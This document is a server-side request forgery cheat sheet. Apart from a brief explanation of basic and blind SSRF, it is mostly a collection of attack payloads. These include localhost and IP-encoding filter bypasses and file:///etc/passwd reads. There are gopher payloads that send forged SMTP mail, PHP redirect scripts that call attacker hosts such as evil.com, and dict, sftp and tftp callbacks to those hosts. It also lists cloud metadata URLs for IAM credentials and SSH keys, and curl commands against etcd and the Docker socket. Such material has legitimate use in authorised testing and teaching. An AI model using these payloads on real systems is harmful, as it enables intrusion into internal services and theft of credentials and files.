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Server-side request forgery (SSRF)

Concept

Server-Side Request Forgery (SSRF) vulnerabilities let an attacker send crafted requests from the back-end server of a vulnerable web application. Criminals usually use SSRF attacks to target internal systems that are behind firewalls and are not accessible from the external network. An attacker may also leverage SSRF to access services available through the loopback interface (127.0.0.1) of the exploited server.

Types of SSRF

  • Basic SSRF

This type of SSRF displays results in the application's front-end response to the attacker, so after the server fetches the URL asked by the attacker for him, it will send the response back to the attacker.

  • Blind SSRF

Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

Ways to exploit

By using localhost

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
[or]
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
[or]
http://localhost:80
http://localhost:443
http://localhost:22

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
http://127.1/
http://0000::1:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01

Bypass localhost with a domain redirecting to localhost

https://xyz.com --->> 127.0.0.1
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost

Other way 
use https://nip.io/
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, 
even 127.0.0.1.nip.io maps to 127.0.0.1
Like
http://customer1.app.localhost.my.company.127.0.0.1.nip.io will point to 127.0.0.1

Bypass using a decimal IP location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Bypass localhost with CIDR

It's a /8

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Bypass using IPv6/IPv4 Address Embedding

http://[0:0:0:0:0:ffff:127.0.0.1]

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

You can short-hand IP addresses by dropping the zeros
http://0/
http://127.1
http://127.0.1

Bypass using bash variables

cURL only

curl -v "http://evil$google.com"
$google = ""

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

Bypass using enclosed alphanumerics

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Bypass filter_var() php function

0://evil.com:80;http://google.com:80/

Bypass against a weak parser

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Advanced exploit using a redirection

Create a subdomain pointing to 192.168.0.1 with DNS A record.
Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1

Advanced exploit using (type=url) while uploading a file/image

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Exploitation via URL Scheme

File

Allows an attacker to fetch the content of a file on the server

file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher

It is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT

Gopher HTTP

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

Gopher SMTP - Back connect to 1337

Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher SMTP - send a mail

Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

Netdoc

Wrapper for Java when your payloads struggle with "\n" and "\r" characters.

ssrf.php?url=gopher://127.0.0.1:4242/DATA

SSRF to XSS

Payload: http://brutelogic.com.br/poc.svg

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg

SSRF URL for Cloud Instances

AWS

  • DNS record

http://instance-data
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/

  • HTTP redirect

Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-

  • Alternate IP encoding

http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding

  • More urls to include

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

Google Cloud

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Google

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1

Digital Ocean

http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packetcloud

https://metadata.packet.net/userdata

Azure

Limited, maybe more exist?

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header "Metadata: true"

https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

OpenStack/RackSpace

(header required? unknown)
http://169.254.169.254/openstack

HP Helion

(header required? unknown)
http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Can contain API keys and internal ip and ports 

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

http://127.0.0.1:2375/v1.24/containers/json

Simple example

docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

curl http://rancher-metadata/<version>/<path>

Tools

Automating SSRF

References